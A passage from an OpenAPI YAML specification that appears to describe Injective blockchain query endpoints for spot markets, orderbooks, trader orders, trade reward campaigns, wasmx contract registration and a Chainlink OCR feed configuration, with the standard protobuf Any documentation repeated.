asset, BBB is quote | |
asset. | |
base_denom: | |
type: string | |
title: Coin denom used for the base asset | |
quote_denom: | |
type: string | |
title: Coin used for the quote asset | |
maker_fee_rate: | |
type: string | |
title: >- | |
maker_fee_rate defines the fee percentage makers pay | |
when trading | |
taker_fee_rate: | |
type: string | |
title: >- | |
taker_fee_rate defines the fee percentage takers pay | |
when trading | |
relayer_fee_share_rate: | |
type: string | |
title: >- | |
relayer_fee_share_rate defines the percentage of the | |
transaction fee shared | |
with the relayer in a derivative market | |
market_id: | |
type: string | |
description: Unique market ID. | |
status: | |
title: Status of the market | |
type: string | |
enum: | |
- Unspecified | |
- Active | |
- Paused | |
- Demolished | |
- Expired | |
default: Unspecified | |
min_price_tick_size: | |
type: string | |
title: >- | |
min_price_tick_size defines the minimum tick size that | |
the price required | |
for orders in the market | |
min_quantity_tick_size: | |
type: string | |
title: >- | |
min_quantity_tick_size defines the minimum tick size of | |
the quantity | |
required for orders in the market | |
description: An object describing trade pair of two assets. | |
description: >- | |
QuerySpotMarketsResponse is the response type for the | |
Query/SpotMarkets RPC | |
method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: status | |
description: >- | |
Status of the market, for convenience it is set to string - not | |
enum. | |
in: query | |
required: false | |
type: string | |
- name: market_ids | |
description: Filter by market IDs. | |
in: query | |
required: false | |
type: array | |
items: | |
type: string | |
collectionFormat: multi | |
tags: | |
- Query | |
/injective/exchange/v1beta1/spot/markets/{market_id}: | |
get: | |
summary: Retrieves a spot market by ticker | |
operationId: SpotMarket | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
market: | |
type: object | |
properties: | |
ticker: | |
type: string | |
description: >- | |
A name of the pair in format AAA/BBB, where AAA is base | |
asset, BBB is quote | |
asset. | |
base_denom: | |
type: string | |
title: Coin denom used for the base asset | |
quote_denom: | |
type: string | |
title: Coin used for the quote asset | |
maker_fee_rate: | |
type: string | |
title: >- | |
maker_fee_rate defines the fee percentage makers pay when | |
trading | |
taker_fee_rate: | |
type: string | |
title: >- | |
taker_fee_rate defines the fee percentage takers pay when | |
trading | |
relayer_fee_share_rate: | |
type: string | |
title: >- | |
relayer_fee_share_rate defines the percentage of the | |
transaction fee shared | |
with the relayer in a derivative market | |
market_id: | |
type: string | |
description: Unique market ID. | |
status: | |
title: Status of the market | |
type: string | |
enum: | |
- Unspecified | |
- Active | |
- Paused | |
- Demolished | |
- Expired | |
default: Unspecified | |
min_price_tick_size: | |
type: string | |
title: >- | |
min_price_tick_size defines the minimum tick size that the | |
price required | |
for orders in the market | |
min_quantity_tick_size: | |
type: string | |
title: >- | |
min_quantity_tick_size defines the minimum tick size of | |
the quantity | |
required for orders in the market | |
description: An object describing trade pair of two assets. | |
description: >- | |
QuerySpotMarketResponse is the response type for the | |
Query/SpotMarket RPC | |
method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: market_id | |
description: Market ID for the market | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/spot/mid_price_and_tob/{market_id}: | |
get: | |
summary: Retrieves a spot market's mid-price | |
operationId: SpotMidPriceAndTOB | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
mid_price: | |
type: string | |
title: mid price of the market | |
best_buy_price: | |
type: string | |
title: best buy price of the market | |
best_sell_price: | |
type: string | |
title: best sell price of the market | |
description: |- | |
QuerySpotMidPriceAndTOBResponse is the response type for the | |
Query/SpotMidPriceAndTOB RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: market_id | |
description: Market ID for the market | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/spot/orderbook/{market_id}: | |
get: | |
summary: Retrieves a spot market's orderbook by marketID | |
operationId: SpotOrderbook | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
buys_price_level: | |
type: array | |
items: | |
type: object | |
properties: | |
p: | |
type: string | |
title: price | |
q: | |
type: string | |
title: quantity | |
sells_price_level: | |
type: array | |
items: | |
type: object | |
properties: | |
p: | |
type: string | |
title: price | |
q: | |
type: string | |
title: quantity | |
description: >- | |
QuerySpotOrderbookResponse is the response type for the | |
Query/SpotOrderbook | |
RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: market_id | |
description: Market ID for the market | |
in: path | |
required: true | |
type: string | |
- name: limit | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
- name: order_side | |
description: ' - Side_Unspecified: will return both' | |
in: query | |
required: false | |
type: string | |
enum: | |
- Side_Unspecified | |
- Buy | |
- Sell | |
default: Side_Unspecified | |
- name: limit_cumulative_notional | |
in: query | |
required: false | |
type: string | |
- name: limit_cumulative_quantity | |
in: query | |
required: false | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/spot/orders/{market_id}/account/{account_address}: | |
get: | |
summary: Retrieves all account address spot orders | |
operationId: AccountAddressSpotOrders | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
orders: | |
type: array | |
items: | |
type: object | |
properties: | |
price: | |
type: string | |
title: price of the order | |
quantity: | |
type: string | |
title: quantity of the order | |
fillable: | |
type: string | |
title: the amount of the quantity remaining fillable | |
isBuy: | |
type: boolean | |
title: true if the order is a buy | |
order_hash: | |
type: string | |
description: |- | |
QueryAccountAddressSpotOrdersResponse is the response type for the | |
Query/AccountAddressSpotOrders RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: market_id | |
description: Market ID for the market | |
in: path | |
required: true | |
type: string | |
- name: account_address | |
description: Account address of the trader | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/spot/orders/{market_id}/{subaccount_id}: | |
get: | |
summary: Retrieves a trader's spot orders | |
operationId: TraderSpotOrders | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
orders: | |
type: array | |
items: | |
type: object | |
properties: | |
price: | |
type: string | |
title: price of the order | |
quantity: | |
type: string | |
title: quantity of the order | |
fillable: | |
type: string | |
title: the amount of the quantity remaining fillable | |
isBuy: | |
type: boolean | |
title: true if the order is a buy | |
order_hash: | |
type: string | |
description: |- | |
QueryTraderSpotOrdersResponse is the response type for the | |
Query/TraderSpotOrders RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: market_id | |
description: Market ID for the market | |
in: path | |
required: true | |
type: string | |
- name: subaccount_id | |
description: SubaccountID of the trader | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/spot/orders_by_hashes/{market_id}/{subaccount_id}: | |
get: | |
summary: >- | |
Retrieves spot orders corresponding to specified order hashes for a | |
given | |
subaccountID and marketID | |
operationId: SpotOrdersByHashes | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
orders: | |
type: array | |
items: | |
type: object | |
properties: | |
price: | |
type: string | |
title: price of the order | |
quantity: | |
type: string | |
title: quantity of the order | |
fillable: | |
type: string | |
title: the amount of the quantity remaining fillable | |
isBuy: | |
type: boolean | |
title: true if the order is a buy | |
order_hash: | |
type: string | |
description: |- | |
QuerySpotOrdersByHashesResponse is the response type for the | |
Query/SpotOrdersByHashes RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: market_id | |
description: Market ID for the market | |
in: path | |
required: true | |
type: string | |
- name: subaccount_id | |
description: SubaccountID of the trader | |
in: path | |
required: true | |
type: string | |
- name: order_hashes | |
description: the order hashes. | |
in: query | |
required: false | |
type: array | |
items: | |
type: string | |
collectionFormat: multi | |
tags: | |
- Query | |
/injective/exchange/v1beta1/spot/transient_orders/{market_id}/{subaccount_id}: | |
get: | |
summary: Retrieves a trader's transient spot orders | |
operationId: TraderSpotTransientOrders | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
orders: | |
type: array | |
items: | |
type: object | |
properties: | |
price: | |
type: string | |
title: price of the order | |
quantity: | |
type: string | |
title: quantity of the order | |
fillable: | |
type: string | |
title: the amount of the quantity remaining fillable | |
isBuy: | |
type: boolean | |
title: true if the order is a buy | |
order_hash: | |
type: string | |
description: |- | |
QueryTraderSpotOrdersResponse is the response type for the | |
Query/TraderSpotOrders RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: market_id | |
description: Market ID for the market | |
in: path | |
required: true | |
type: string | |
- name: subaccount_id | |
description: SubaccountID of the trader | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/trade_reward_campaign: | |
get: | |
summary: Retrieves the trade reward campaign | |
operationId: TradeRewardCampaign | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
trading_reward_campaign_info: | |
type: object | |
properties: | |
campaign_duration_seconds: | |
type: string | |
format: int64 | |
title: number of seconds of the duration of each campaign | |
quote_denoms: | |
type: array | |
items: | |
type: string | |
title: >- | |
the trading fee quote denoms which will be counted for the | |
rewards | |
trading_reward_boost_info: | |
title: the optional boost info for markets | |
type: object | |
properties: | |
boosted_spot_market_ids: | |
type: array | |
items: | |
type: string | |
spot_market_multipliers: | |
type: array | |
items: | |
type: object | |
properties: | |
maker_points_multiplier: | |
type: string | |
taker_points_multiplier: | |
type: string | |
boosted_derivative_market_ids: | |
type: array | |
items: | |
type: string | |
derivative_market_multipliers: | |
type: array | |
items: | |
type: object | |
properties: | |
maker_points_multiplier: | |
type: string | |
taker_points_multiplier: | |
type: string | |
disqualified_market_ids: | |
type: array | |
items: | |
type: string | |
title: the marketIDs which are disqualified from being rewarded | |
trading_reward_pool_campaign_schedule: | |
type: array | |
items: | |
type: object | |
properties: | |
start_timestamp: | |
type: string | |
format: int64 | |
max_campaign_rewards: | |
type: array | |
items: | |
type: object | |
properties: | |
denom: | |
type: string | |
amount: | |
type: string | |
description: >- | |
Coin defines a token with a denomination and an | |
amount. | |
NOTE: The amount field is an Int which implements the | |
custom method | |
signatures required by gogoproto. | |
title: >- | |
max_campaign_rewards are the maximum reward amounts to | |
be disbursed at the | |
end of the campaign | |
total_trade_reward_points: | |
type: string | |
pending_trading_reward_pool_campaign_schedule: | |
type: array | |
items: | |
type: object | |
properties: | |
start_timestamp: | |
type: string | |
format: int64 | |
max_campaign_rewards: | |
type: array | |
items: | |
type: object | |
properties: | |
denom: | |
type: string | |
amount: | |
type: string | |
description: >- | |
Coin defines a token with a denomination and an | |
amount. | |
NOTE: The amount field is an Int which implements the | |
custom method | |
signatures required by gogoproto. | |
title: >- | |
max_campaign_rewards are the maximum reward amounts to | |
be disbursed at the | |
end of the campaign | |
pending_total_trade_reward_points: | |
type: array | |
items: | |
type: string | |
description: |- | |
QueryTradeRewardCampaignResponse is the response type for the | |
Query/TradeRewardCampaign RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/injective/exchange/v1beta1/trade_reward_points: | |
get: | |
summary: Retrieves the account and total trade rewards points | |
operationId: TradeRewardPoints | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
account_trade_reward_points: | |
type: array | |
items: | |
type: string | |
description: |- | |
QueryTradeRewardPointsResponse is the response type for the | |
Query/TradeRewardPoints RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: accounts | |
in: query | |
required: false | |
type: array | |
items: | |
type: string | |
collectionFormat: multi | |
- name: pending_pool_timestamp | |
in: query | |
required: false | |
type: string | |
format: int64 | |
tags: | |
- Query | |
/injective/exchange/v1beta1/vault_market_id/{vault_address}: | |
get: | |
summary: >- | |
QueryMarketIDFromVault returns the market ID for a given vault | |
subaccount ID | |
operationId: QueryMarketIDFromVault | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
market_id: | |
type: string | |
description: |- | |
QueryMarketIDFromVaultResponse is the response type for the | |
Query/QueryMarketIDFromVault RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: vault_address | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/wasmx/v1/module_state: | |
get: | |
summary: Retrieves the entire wasmx module's state | |
operationId: WasmxModuleState | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
state: | |
type: object | |
properties: | |
params: | |
description: params defines all the parameters of related to wasmx. | |
type: object | |
properties: | |
is_execution_enabled: | |
type: boolean | |
description: >- | |
Set the status to active to indicate that contracts | |
can be executed in | |
begin blocker. | |
max_begin_block_total_gas: | |
type: string | |
format: uint64 | |
description: >- | |
Maximum aggregate total gas to be used for the | |
contract executions in the | |
BeginBlocker. | |
max_contract_gas_limit: | |
type: string | |
format: uint64 | |
description: >- | |
the maximum gas limit each individual contract can | |
consume in the | |
BeginBlocker. | |
min_gas_price: | |
type: string | |
format: uint64 | |
description: >- | |
min_gas_price defines the minimum gas price the | |
contracts must pay to be | |
executed in the BeginBlocker. | |
registered_contracts: | |
type: array | |
items: | |
type: object | |
properties: | |
address: | |
type: string | |
registered_contract: | |
type: object | |
properties: | |
gas_limit: | |
type: string | |
format: uint64 | |
title: limit of gas per BB execution | |
gas_price: | |
type: string | |
format: uint64 | |
title: >- | |
gas price that contract is willing to pay for | |
execution in BeginBlocker | |
is_executable: | |
type: boolean | |
title: is contract currently active | |
code_id: | |
type: string | |
format: uint64 | |
title: >- | |
code_id that is allowed to be executed (to | |
prevent malicious updates) - if | |
nil/0 any code_id can be executed | |
admin_address: | |
type: string | |
title: >- | |
optional - admin addr that is allowed to update | |
contract data | |
granter_address: | |
type: string | |
title: |- | |
Optional: address of the contract granting fee | |
Must be set if fund_mode is GrantOnly | |
fund_mode: | |
title: funding mode | |
type: string | |
enum: | |
- Unspecified | |
- SelfFunded | |
- GrantOnly | |
- Dual | |
default: Unspecified | |
title: >- | |
registered_contracts is an array containing the genesis | |
registered | |
contracts | |
description: GenesisState defines the wasmx module's genesis state. | |
description: >- | |
QueryModuleStateResponse is the response type for the | |
Query/WasmxModuleState | |
RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
tags: | |
- Query | |
/injective/wasmx/v1/params: | |
get: | |
summary: Retrieves wasmx params | |
operationId: WasmxParams | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
params: | |
type: object | |
properties: | |
is_execution_enabled: | |
type: boolean | |
description: >- | |
Set the status to active to indicate that contracts can be | |
executed in | |
begin blocker. | |
max_begin_block_total_gas: | |
type: string | |
format: uint64 | |
description: >- | |
Maximum aggregate total gas to be used for the contract | |
executions in the | |
BeginBlocker. | |
max_contract_gas_limit: | |
type: string | |
format: uint64 | |
description: >- | |
the maximum gas limit each individual contract can consume | |
in the | |
BeginBlocker. | |
min_gas_price: | |
type: string | |
format: uint64 | |
description: >- | |
min_gas_price defines the minimum gas price the contracts | |
must pay to be | |
executed in the BeginBlocker. | |
description: >- | |
QueryWasmxParamsRequest is the response type for the | |
Query/WasmxParams RPC | |
method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
tags: | |
- Query | |
/injective/wasmx/v1/registration_info/{contract_address}: | |
get: | |
summary: Retrieves contract registration info | |
operationId: ContractRegistrationInfo | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
contract: | |
type: object | |
properties: | |
gas_limit: | |
type: string | |
format: uint64 | |
title: limit of gas per BB execution | |
gas_price: | |
type: string | |
format: uint64 | |
title: >- | |
gas price that contract is willing to pay for execution in | |
BeginBlocker | |
is_executable: | |
type: boolean | |
title: is contract currently active | |
code_id: | |
type: string | |
format: uint64 | |
title: >- | |
code_id that is allowed to be executed (to prevent | |
malicious updates) - if | |
nil/0 any code_id can be executed | |
admin_address: | |
type: string | |
title: >- | |
optional - admin addr that is allowed to update contract | |
data | |
granter_address: | |
type: string | |
title: |- | |
Optional: address of the contract granting fee | |
Must be set if fund_mode is GrantOnly | |
fund_mode: | |
title: funding mode | |
type: string | |
enum: | |
- Unspecified | |
- SelfFunded | |
- GrantOnly | |
- Dual | |
default: Unspecified | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
parameters: | |
- name: contract_address | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/chainlink/ocr/v1beta1/feed_config/{feed_id}: | |
get: | |
summary: Retrieves the OCR FeedConfig for a given FeedId | |
operationId: FeedConfig | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
feed_config_info: | |
type: object | |
properties: | |
latest_config_digest: | |
type: string | |
format: byte | |
f: | |
type: integer | |
format: int64 | |
'n': | |
type: integer | |
format: int64 | |
config_count: | |
type: string | |
format: uint64 | |
title: >- | |
config_count ordinal number of this config setting among | |
all config | |
settings | |
latest_config_block_number: | |
type: string | |
format: int64 | |
feed_config: | |
type: object | |
properties: | |
signers: | |
type: array | |
items: | |
type: string | |
title: >- | |
signers ith element is address ith oracle uses to sign a | |
report | |
transmitters: | |
type: array | |
items: | |
type: string | |
title: >- | |
transmitters ith element is address ith oracle uses to | |
transmit a report | |
via the transmit method | |
f: | |
type: integer | |
format: int64 | |
title: >- | |
f maximum number of faulty/dishonest oracles the protocol | |
can tolerate | |
while still working correctly | |
onchain_config: | |
type: string | |
format: byte | |
description: >- | |
onchain_config serialized data with reporting plugin | |
params on chain. | |
offchain_config_version: | |
type: string | |
format: uint64 | |
title: >- | |
offchain_config_version version of the serialization | |
format used for | |
"offchain_config" parameter | |
offchain_config: | |
type: string | |
format: byte | |
title: >- | |
offchain_config serialized data used by oracles to | |
configure their offchain | |
operation | |
module_params: | |
